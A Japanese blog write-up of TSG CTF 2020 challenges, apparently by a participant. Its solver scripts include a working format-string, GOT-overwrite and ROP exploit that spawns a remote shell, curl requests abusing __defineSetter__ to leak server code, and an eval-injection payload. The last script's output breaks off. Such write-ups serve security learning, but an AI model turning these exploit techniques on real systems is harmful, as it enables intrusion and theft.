More than 3 years have passed since last update.

TSG CTF 2020 write-up

Last updated at 2020-07-13Posted at 2020-07-12

難しいけど面白かった。「はいはい、いつものあれね」で解ける問題が1問も無い。

8問（surveyなどを除いて実質6問）解いて、1092点15位。

Cooldown

Survey (survey)

アンケートに答えると1点。

回答必須の質問はありません。フラグだけ欲しい場合はそのまま送信してください。
* 1チームから複数回送信しても全く構いません。

とりあえず点数だけゲットして、後からちゃんと回答することもできるようになっていた。

Warmup

Sanity Check (sanity)

TSG CTF のDiscordサーバーにログインして↓の場所に書いてあるフラグを送信してください。

TSGCTF{the_blue_bird_is_in_your_cage_so_stay_home_and_dont_miss_it!}

Pwn

Beginner's Pwn (beginner)

int main()
{
    char buf[0x18];
    readn(buf, 0x18);
    scanf(buf);
}

これだけ。beginnerなので問題文にヒントもある。

シェルをとる方法：もしあなたがほとんどpwnの手法を知らないならば、次の単語をインターネットで調べることは、良いとっかかりになると思います。

Format String Bug

GOT (Global Offset Table) Overwrite

Buffer Overflow

Return Oriented Programming

sigreturn syscall

etc.

pwntoolsのスクリプトのテンプレートもある。転載。

solver.py

# I'm sorry I am using Python2 :( for pwning
from __future__ import division, print_function
import random
# Run: pip install pwntools
from pwn import *
import argparse
import time


# A way to start the program server locally, and debug your exploit on Linux.
# 1. Install socat
# 2. socat TCP-L:3001,reuseaddr,fork EXEC:./beginners_pwn
# 3. python solver.py
# 4. sudo gdb -q -p `pgrep beginners_pwn`

host = "localhost"
port = 3001

r = remote(host, port)

print('Enter `newline` to start the exploit')
raw_input()

#### write your exploit here. ####
r.sendline('AAAA') # dummy: send `AAAA' to the server

# r.interactive() # After you get shell, you can intereact with the server!

Python2仲間がいたw　とても丁寧で素晴らしいが……「ここまでお膳立てされているなら解けるかも！」で挑戦した初心者は解けたのだろうか……w

まずは、制御を取りたい。scanfの後に呼ばれる関数は（スタックが壊れたときの）__stack_chk_failだけ。GOTを書き換えるにしても、スタックは壊す必要がある。scanfの第2引数にあたるrsiがたまたまbufの最後に読み込んだところを指しているので、%1$sを最初に入力すれば、スタックを壊せる。空白以外はNUL文字でも何でも書き込める。

このままだとスタックのチェックで落ちてしまうので、GOTの__stack_chk_failをretに飛ばして何もしない関数にする。bufの最初の位置がscanfの第7引数にあたるので、bufの0x10バイト目にGOTのアドレスを書いて、%8$lxで値を書き込むとGOTに書き込まれる。

これで、通常のスタックバッファオーバーフローと同じ事ができるようになった。

この問題はlibcが提供されていない。TSG CTFでlibcを推測させるようなつまらないことはしないだろうし、そもそも出力系の関数が無いのでlibcのアドレスを得る手段が無い。さてどうしようか……とヒントを見ると「syscall」がある。この問題はreadnの中でsyscallを使っている。レジスタを適切に設定してexecve("/bin/sh", NULL, NULL)を呼べば良い。

rdiとrsiはReturn Oriented Programmingで設定できる。rdxは0だったので何もしなくて良い。raxをexecveのシステムコール番号である59にしないといけない。pop rax; ret;は無い。scanfの返り値が代入に成功した変数の個数であることを使う。scan("%d %d %d")に"0 0 0"が入力されると3が返ってくる。59を返すような長い文字列は最初のreadnでは入力できないので、改めてreadnを呼ぶ。

流れ。

問題のコード中のscanfで、__stack_chk_failを潰しつつ、スタックオーバーフローでROPに入る
readnを呼んで"%1$d"*59を書き込む。ついでに文字列"/bin/sh"も書き込んでおく
"0 0 0 ..."を書き込む
raxが59になるので、他のレジスタの値をROPで設定して、execve("/bin/sh", NULL, NULL)を呼ぶ

attack.py

from pwn import *

#context.log_level = "debug"
elf = ELF("beginners_pwn")
context.binary = elf

#s = connect("localhost", 7777)
s = connect("35.221.81.216", 30002)

t1 = "%1$s %8$lx\0     "+pack(elf.got.__stack_chk_fail)
s.send(t1)

t2 = " ".join(["%1$d"]*59) + "\0/bin/sh"

s.sendline(
  "\0"*(0x18-len(t1)+0x11) +

  pack(0x4012c3) + # pop rdi;
  pack(0x404028) + # buf
  pack(0x4012c1) + # pop rsi; pop r15;
  pack(len(t2)) +
  pack(0) +
  pack(elf.symbols.readn) +

  pack(0x4012c3) + # pop rdi;
  pack(0x404028) + # buf
  pack(0x4012c1) + # pop rsi; pop r15;
  pack(0x404028+len(t2)) +
  pack(0) +
  pack(elf.plt.__isoc99_scanf) +

  pack(0x4012c3) + # pop rdi;
  pack(0x404028+len(t2)-7) + # /bin/sh
  pack(0x4012c1) + # pop rsi; pop r15;
  pack(0) +
  pack(0) +
  pack(0x40118f) + # syscall
  " 401256")

input()

s.send(t2)
s.sendline(" ".join(["0"]*59))

s.interactive()

scanfの仕様に苦しんだ。フォーマット文字列中に%でも空白でもない文字列があると、同じ文字列を入力しないといけなくなって面倒なので、\0で打ち切った。scanfが後ろの文字列まで読み込んでしまうので、ウエイトを入れたら通った。starts.shのstdbuf -i0 -o0 -e0 ./beginners_pwnでバッファリングしないようになるんじゃないのか？

$ python2 attack.py
[*] "/mnt/d/documents/ctf/tsg2020/Beginner's Pwn/beginners_pwn"
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 35.221.81.216 on port 30002: Done
123
[*] Switching to interactive mode
$ id
uid=999(user) gid=999(user) groups=999(user)
$ ls -al
total 36
drwxr-xr-x 1 root user  4096 Jul  8 18:03 .
drwxr-xr-x 1 root root  4096 Jul  8 18:03 ..
-r-xr-xr-x 1 root user 16560 Jul  8 06:40 beginners_pwn
-r--r--r-- 1 root user    44 Jul  8 06:40 flag
-r-xr-xr-x 1 root user    60 Jul  8 06:40 start.sh
$ cat flag
TSGCTF{w3lc0m3_70_756c7f2_60_4h34d_pwnpwn~}
$ exit
[*] Got EOF while reading in interactive

TSGCTF{w3lc0m3_70_756c7f2_60_4h34d_pwnpwn~}

Web

Beginner's Web (beginner)

Beginner問題なのに解けず。

nodeでクエリ文字列をパースするのに定番のライブラリっぽいけど、foo[bar]=bazのような記法でオブジェクトを与えることができるらしい。えぇ……。みんなPHPで懲りたと思っていた。

追記

作問者や解いた人の解説を見て解いた。qs関係無かった。

面白いし、この問題で他の参加者の妨害ができないようになっているのがすごい。

追記。

妨害できたらしい。__defineSetter__は16文字

> この問題で他の参加者の妨害ができないようになっているのがすごい。
なんか解けないな～と思ってたら defineSetter が上書きされてしまって解けなくなってたタイミングがありました...(修正されましたが
— 左京区在住 (@tyage) July 13, 2020

問題のソースコードを抜粋。

app.js

 :
const converters = {};

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};
 :
app.post('/', async (request, reply) => {
  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 10) {
    throw new Error('Too short :(');
  }

  if (request.body.input.length > 1000) {
    throw new Error('Too long :(');
  }

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

  reply.view('index.html', {
    input: request.body.input,
    result,
    sessionId: request.session.sessionId,
  });
});

app.setErrorHandler((error, request, reply) => {
  reply.view('index.html', {error, sessionId: request.session.sessionId});
});

まずこういうリクエストを投げる。

curl 'http://35.221.81.216:59101/' \
  -H 'Cookie: sessionId=BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW.5qtLyHRuX0V1ZFjDY3gWz5sA%2BjUKvtbmhzXaJK3Vdy8' \
  --data-raw 'input=FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW&converter=__defineSetter__'

このリクエストに対して、サーバーはなかなか応答を返さず、数秒で504 Gateway Time-outが返ってくる。その前に、次のリクエストを投げる。

curl 'http://35.221.81.216:59101/' \
  -H 'Cookie: sessionId=BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW.5qtLyHRuX0V1ZFjDY3gWz5sA%2BjUKvtbmhzXaJK3Vdy8' \
  --data-raw 'input=FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW&converter=0123456789'

すると、最初のリクエストに対して、フラグを含む応答が返ってくる。

 :
      <h1>OmniConverter</h1>

        <h2>ERROR: (input, callback) =&gt; {
  const flag = &#39;TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}&#39;;
  callback(null, flag);
}</h2>
 :

何が起こっているのかというと、最初のリクエストの

converters[request.body.converter](request.body.input, (error, result) => {

の部分が、

converters.__defineSetter__('FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW', (error, result) => {

となっている。この処理はPromiseの中なので、rejectかresolveを呼び出すまでは呼び出し元に結果が返らない。

__defineSetter__によって、converters['FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW']に値を代入しようとすると、代入しようとした値を引数に(error, result) => {...の関数が呼び出される。(flagConverter, undefined)という形になるので、reject(flagConverter)が呼び出され、flagConverterがエラーとして表示される。flagConverterを呼び出すのではなく、flagConverterそのものを出力させれば良いというのがポイントか。

'FLAG_...'は良いけど、'base64'を引数にされたら、妨害ができちゃうのでは？

そのためのこれ。

  if (request.body.input.length < 10) {
    throw new Error('Too short :(');
  }

match(/[FLAG]/)はmatch(/FLAG/)なのでは？

コンテスト中に気が付いて引っかかっていた。これだと、F1文字とかでも弾かれる。解放を知ってみると、__defineGetter__を防ぎたかったのでは？という気がしてくるけれど、これで何か他の参加者の妨害ができるわけではなく、単なるヒント？

追記。

元々はやっぱり__defineGetter__対策だったらしい。

ヴォーなんか色々混乱させてすみません最終的に[FLAG]フィルターを入れたままにしたのはヒントのためですね当初はdefineGetterで既存のbase64とかの関数を書き換えられると困っちゃうので入れてたんですが→
— 博多市 (@hakatashi) July 13, 2020

defineSetterでも同じように書き換えられちゃうことがわかったのでそっちは長さで対策することになったんですねなので悪い人対策的には最終的には意味のないフィルタでした。ちなみに悪い人対策の話でいうと→
— 博多市 (@hakatashi) July 13, 2020

TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}

Crypto

Beginner's Crypto (beginner)

beginner.py

assert(len(open('flag.txt', 'rb').read()) <= 50)
assert(str(int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big') << 10000).endswith('1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576'))

$2^{10000}f = x \mod 10^{175}$ として、$x$から$f$を求めよという問題である。法を$10^{175}$としたときの$2^{10000}$の逆数……は両者が互いに素ではないので、互いに素になるようにして逆数を求めて$x$に掛けたら通った。解けたけどこの辺あまり良く分かっていない（ので、次のSweet like Apple Pieが解けない）。

solve.py

from Crypto.Util.number import *
from math import gcd

x = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576
g = gcd(2**10000, 10**175)
f = x*inverse(2**10000, 10**175//g)%(10**175//g)
print(f.to_bytes(50, "big"))

$ python3 solve.py
b'TSGCTF{0K4y_Y0U_are_r3aDy_t0_Go_aNd_dO_M0r3_CryPt}'

TSGCTF{0K4y_Y0U_are_r3aDy_t0_Go_aNd_dO_M0r3_CryPt}

Sweet like Apple Pie (medium)

解けなかった。

「正弦曲線暗号」を発明しました！

run.py

from decimal import *
getcontext().prec = 300

def pi():
    lasts, t, s, n, na, d, da = 0, Decimal(3), 3, 1, 0, 0, 24
    while s != lasts:
        lasts = s
        n, na = n + na, na + 8
        d, da = d + da, da + 32
        t = (t * n) / d
        s += t
    return s

def sin(x):
    x = Decimal(x) % pi()
    p, factor = 0, x
    for n in range(10000):
        p += factor
        factor *= - (x ** 2) / ((2 * n + 2) * (2 * n + 3))
    return p

flag = int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big')
assert(flag < 2 ** 500)
print(sin(flag))

piとsinの中身は理解できないが、十進浮動小数点でsinを計算しているのだろう。sin関数中のxを求めるのは簡単で、二分探索をすれば良い。$\frac{\pi}{2}$を境に2個ある。

xからflagを求める方法が分からなかった。Beginner's Cryptoと同じようにやってもxの40倍の値になるflagしか出てこないし、ここから40で割れない。

追記

解けた。第一象限のときのxの値が0.163...で、第2象限のときが2.978...。1の位の有無でDecimalの小数点以下の桁数が異なる。Decimalを整数にするのに文字列処理でやっていて、ここを変えるのを忘れていた。10**300を掛けてそのままintに直せば良かった。

solve.py

from decimal import *
getcontext().prec = 300

def pi():
    lasts, t, s, n, na, d, da = 0, Decimal(3), 3, 1, 0, 0, 24
    while s != lasts:
        lasts = s
        n, na = n + na, na + 8
        d, da = d + da, da + 32
        t = (t * n) / d
        s += t
    return s

def sin(x):
    x = Decimal(x) % pi()
    p, factor = 0, x
    for n in range(10000):
        p += factor
        factor *= - (x ** 2) / ((2 * n + 2) * (2 * n + 3))
    return p

#flag = int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big')
#assert(flag < 2 ** 500)
#print(sin(flag))

sinflag = Decimal("0.162452474092990408037062573408259688253995107643493293584426591003988903469791005222132158897198623144937279539555347413553688190959907095952250683633029959235933436782707275021817801890433801800730214807785288112267446678747104887584191096749196212784470161670299495426679759221652356130008110761143")

#l = Decimal(0)
#r = pi()/2
l = pi()/2
r = pi()

for i in range(1000):
  m = (l+r)/2
  #if sin(m)<=sinflag:
  if sin(m)>=sinflag:
    l = m
  else:
    r = m

x = l
print("x:", x)
print("sin(x):", sin(x))

D = 10**300
p = int(pi()*D)
x = int(x*D)

from Crypto.Util.number import *
from math import *

p //= gcd(D, p)
flag = x*inverse(D, p)%p
print(flag.to_bytes(150, "big"))

kusano@RIO:/mnt/d/documents/ctf/tsg2020/Sweet like Apple Pie$ python3 solve.py
x: 2.97841701598705227397192132101244149450108126021687522007589762363562589954271370389104405048887540690913131251130016092013093435581286246167075241635193432571154899398912458239642861514744055666719157499411266325402180329094399542951766241993522703999557630833375902518477564717050262384960203067400
sin(x): 0.162452474092990408037062573408259688253995107643493293584426591003988903469791005222132158897198623144937279539555347413553688190959907095952250683633029959235933436782707275021817801890433801800730214807785288112267446678747104887584191096749196212784470161670299495426679759221652356130008110761143
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TSGCTF{Tteugeopgo_Dara_Sweee-ee-ee-ee-eet_1ik3_4pple_Pie_Pie}'

TSGCTF{Tteugeopgo_Dara_Sweee-ee-ee-ee-eet_1ik3_4pple_Pie_Pie}

Rubikrypto (easy)

解いていないけど、面白そう。

ルービックキューブはみんなの大好きな数学ですよ⋯⋯マジで！

ルービックキューブは数学で言うところ群か何かになるから、そこでElGamal暗号を実装しているらしい。

深夜に問題公開の通知が出てきて、「RubyCrypto」に見えてしまい、「Rubyは分からないからいいや」と思ってしまったんだよな……。

Reverse-ing

Reverse-ing (easy)

「ReverseもGhidraのおかげで楽になったよなぁ」と思いながら開いたら、コードを動的に書き換えてたわ。

これがほんとの「Reversing」。

1命令実行するたびにコードをリバースしている。gdbでreverse関数の最後にブレークポイントを設定して、どういう命令が実行されているのかを見てみると、このようなことをしている。

=> 0x6000ef <_start+10>:        xor    rdx,rdx
=> 0x6000f4 <_start+15>:        mov    dl,0x25
=> 0x6000f8 <_start+19>:        mov    rsi,rsp
=> 0x6000fd <_start+24>:        xor    rdi,rdi
=> 0x600102 <_start+29>:        xor    rax,rax
=> 0x600107 <_start+34>:        syscall

=> 0x60010b <_start+38>:        dec    rdx
=> 0x600110 <_start+43>:        xor    rcx,rcx
=> 0x600115 <_start+48>:        mov    cl,BYTE PTR [rsi+rdx*1]
=> 0x60011a <_start+53>:        xor    cl,BYTE PTR [rdx+0x600194]
=> 0x600122 <_start+61>:        add    cl,BYTE PTR [rdx+0x600194]
=> 0x60012a <_start+69>:        or     rdi,rcx
=> 0x60012f <_start+74>:        dec    dl
=> 0x600133 <_start+78>:        jns    0x600171 <_start+140>

=> 0x600171 <_start+140>:       mov    cl,BYTE PTR [rsi+rdx*1]
=> 0x600176 <_start+145>:       xor    cl,BYTE PTR [rdx+0x600194]
=> 0x60017e <_start+153>:       add    cl,BYTE PTR [rdx+0x600194]
=> 0x600186 <_start+161>:       or     rdi,rcx
=> 0x60018b <_start+166>:       sub    dl,0x1
=> 0x600190 <_start+171>:       jns    0x600115 <_start+48>
 :

solve.py

X1 = [
  0x48, 0x80, 0x46, 0xba, 0xa5, 0xd3, 0xff, 0xc0, 0x31, 0x48, 0x1e, 0x65, 0x32, 0xa4, 0x88, 0xd3,
  0xff, 0xe6, 0x89, 0x48, 0x5f, 0x7a, 0x84, 0x3b, 0xd3, 0xff, 0xd2, 0x31, 0x48, 0x4e, 0x36, 0xc9,
  0xc5, 0xcf, 0x22, 0x32, 0x58,
]

X2 = [
  0xe4, 0xd3, 0xff, 0x05, 0x0f, 0x6b, 0x7c, 0x13, 0xff, 0xca, 0xd3, 0xff, 0xff, 0x31, 0x48, 0x72,
  0x63, 0x2b, 0x19, 0x8c, 0xd3, 0xff, 0x25, 0xb2, 0x19, 0x5e, 0x61, 0xfb, 0xc1, 0xd3, 0xff, 0x00,
  0x60, 0x00, 0xb0, 0xbb, 0xdb,
]

flag = ""
for i in range(0x25):
  if i%2==0:
    f = (-X2[i]^X1[i])%0x100
  else:
    f = (-X1[i]^X2[i])%0x100
  flag += chr(f)
print(flag)

参照しているテーブルもリバースされて書き換わることに注意。

>py solve.py
TSGCTF{S0r3d3m0_b1n4ry_w4_M4wa77e1ru}

TSGCTF{S0r3d3m0_b1n4ry_w4_M4wa77e1ru}

Misc

Beginner's Misc (beginner)

server.py

from base64 import b64encode
import math

exploit = input('? ')
if eval(b64encode(exploit.encode('UTF-8'))) == math.pi:
  print(open('flag.txt').read())

Base64は/と+が使えるので、3141592.../1000000みたいなのをbase64でデコードして投げたら終わりかと思ったら、exploit.encodeで落ちた。UTF-8として正しい文字列でないといけない。

長さが4文字で数字と/と+で構成される文字列のうち、Base64で復号したときにUTF-8として正しいものを探すと、562/や179+のように末尾に/と+が付くものや、1400のように数字だけものがある。これを組み合わせて円周率を作れば良い。8文字でUTF-8として正しく、前半4文字や後半4文字は正しくないというようなものもあるだろうけど、4文字の組合わせだけで作れた。

solve.py

from itertools import product
from base64 import b64decode
import math
import re
import random

Pd = []
Pp = []
Pn = []

for p in product("0123456789/+", repeat=4):
  p = "".join(p)
  try:
    b64decode(p).decode("utf-8")
  except:
    continue
  if p[0]!="0":
    if re.match(r"^\d\d\d\/$", p):
      Pd += [p]
    if re.match(r"^\d\d\d\+$", p):
      Pp += [p]
    if re.match(r"^\d\d\d\d$", p):
      Pn += [p]

random.seed(12345)

s = 0.0
ans = ""
m = 0

while s<math.pi:
  x = []
  for pd in Pd:
    for pp in Pp:
      for pn in range(100):
        vn = int(pd[:3])
        vd = int("".join(random.choice(Pn) for _ in range(m))+pp[:3])
        if s+vn/vd<=math.pi:
          x += [(vn/vd, vn, vd)]
  if len(x)==0:
    m += 1
    continue
  mx = max(x)
  while s+mx[0]<=math.pi:
    s += mx[0]
    ans += "%d/%d+"%(mx[1], mx[2])
  print(s)
  print(ans)

$ python3 solve.py
3.1396648044692737
562/179+
3.141327376599765
562/179+776/1400240+776/1400240+776/1400240+
3.1415926529804143
562/179+776/1400240+776/1400240+776/1400240+476/1794355+
3.141592653584518
562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+
3.141592653589793
562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+762/144444602456149+

$ echo -n "562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+762/144444602456149+762/144414441444144414441444144414441444Cg==" | base64 -d | nc 35.221.81.216 3
0718
? TSGCTF{Y0u_t00k_the_first_step_0f_the_misc_w0rld!_G0_and_s0lve_all_the_remaining_challenges}

末尾が+はダメなので、後ろに0になるような分母が大きな数を適当に追加。末尾のCg==は改行をbase64エンコードしたもの。

TSGCTF{Y0u_t00k_the_first_step_0f_the_misc_w0rld!_G0_and_s0lve_all_the_remaining_challenges}

BlindCoder (medium)

競プロのサーバーを作りました！

独自の言語で実装された競プロサーバー。独自の言語とはいえ、普通の言語の式（≠文）が素直に書ける。テストケースが50個あって、何ケース正解したかが返ってくる。

ちなみに（競プロとしての）問題は、

The current challenge is, to write a program that calculates the least significant digit of the input number N (0 <= N < 2^32) in the decimal form.
That is, if your program is given the number 334, it must return 4, because the right-most digit of 334 is 4.
This task is quite difficult... but I believe you'll for sure get it!
Your program runs for 50 test cases. To be qualified as "Accepted", all test cases should be passed.

N%10で解けるが……競プロの問題を解いても意味はなく、テストケースを当てる必要がある。ちなみに、テストケースは接続ごとに自動生成。

N%1000==123 ? N%10 : 99とすると、下3桁が123のテストケースが何個あるかが分かる。これで1桁ずつ推測できる。正解数が何個かを教えてくれるだけで、どのケースが正解かは教えてくれない（コンテスト中のAtCoderと同じ）。そこは、すでに分かっているテストケースのうち何個が正解になるかを調べて、それよりも多いかどうかで他にテストケースがあるかが判別できる。

これで解けるかと思ったら、接続を切られた。問題のソースコードを見ると、1回の接続で1,000回しかサブミットできない。

ちょっと考えてみると、1桁ずつ推測していくと正解する確率は$\frac{1}{10}$。$\frac{1}{10}$で正解する場合に得られる情報量の期待値は、$\frac{1}{10}\frac{9}{10}+\frac{9}{10}\frac{1}{10}=0.18$で効率が悪い。二分探索をする。2進数で1桁ずつ推測すると考えても良い。さらに、テストケース1個ずつではなく、まとめて、テストケースがあれば潜っていく感じにすると、下位ビットが同じテストケースの探索がまとめてできて効率が良い。が、これでも50個中40個くらいで、1,000回を使い切ってしまう。

乱数の推測かな？と思ってPythonのソースコードを見てみたところ、シード値無しで初期化した場合にはメルセンヌツイスタの内部状態全てをurandomから持ってきていた。シード値が32ビット整数1個とかなら推測もできるが、これは厳しい。

ちゃんと考えてみると、この問題のテストケース全ての情報量は、$\lg\left(\frac{2^{32\times 50}}{50!}\right)=1385.79...$である。$50!$で割っているのはテストケースの順番は関係無いから。ということで、1回のサブミットで1ビットの情報しか得られないので足りない。

正解したテストケースの個数の情報も使う。123<=N && N<321 || 456<=N && N<654 ? N%10 : 99というコードを投げて、正解数が0ならばどちらの条件も満たされない、正解数が2ならばどちらの条件も満たす。正解数が1ならばしょうがないので、123<=N && N<321 ? N%10 : 99を改めて投げて、どちらの条件が満たされていて、どちらが満たされていないのかを調べる。これで、2個の条件が平均1.5回のサブミットで判定できる。

attack.py

from pwn import *
import re

#context.log_level = "debug"

s = connect("35.221.81.216", 65532)

# return number of testcases in ranges
c = 0
def check(ranges):
  global c
  c += 1

  code = " || ".join("%d<=N && N<%d"%r for r in ranges) + " ? N%10 : 99"

  s.sendlineafter("Choice: ", "1")
  s.sendlineafter("here: ", code)
  t = s.recvuntil("3. Help")
  m = re.search(r"passed (\d+) test cases.", t)
  return int(m.group(1))

C = []
def f(l, r, n):
  global C
  if n==0:
    return
  if n==1:
    C += [(l, r)]
    return
  m = (l+r)/2
  nl = check([(l, m)])
  nr = n - nl
  f(l, m, nl)
  f(m, r, nr)
f(0, 2**32, 50)

print c
print [r-l for l, r in C]

while True:
  C.sort(key=lambda x: x[1]-x[0])

  if C[-1][1]-C[-1][0]==1:
    break

  if c>=997:
    break

  l1, r1 = C.pop()
  l2, r2 = C.pop()
  m1 = (l1+r1)/2
  m2 = (l2+r2)/2
  r = check([(l1, m1), (l2, m2)])
  if r==0:
    C += [(m1, r1), (m2, r2)]
  elif r==1:
    if check([(l1, m1)])==1:
      C += [(l1, m1), (m2, r2)]
    else:
      C += [(m1, r1), (l2, m2)]
  else:
    C += [(l1, m1), (l2, m2)]

print c
print [r-l for l, r in C]

s.sendlineafter("Choice: ", "2")
s.sendlineafter("what: ", " ".join(str(l) for l, r in C))
print s.recvline()
print s.recvline()

最初にまとめて二分探索でテストケースが1個しか含まれない範囲を探す。それぞれの範囲は独立して探索できるので、上述の方法で2個ずつ探索。

けっこうギリギリで、上述の2個ずつの探索でたまたま1回ですむ回数が多かったり、探索しきれなくてえいやで投げたテストケースが正解だったりすると解ける。10回に1回くらい。2個ずつではなくもっとまとめれば効率は上がるのだろうけど、解けたからよし。

 :
$ python2 attack.py
[+] Opening connection to 35.221.81.216 on port 65532: Done
75
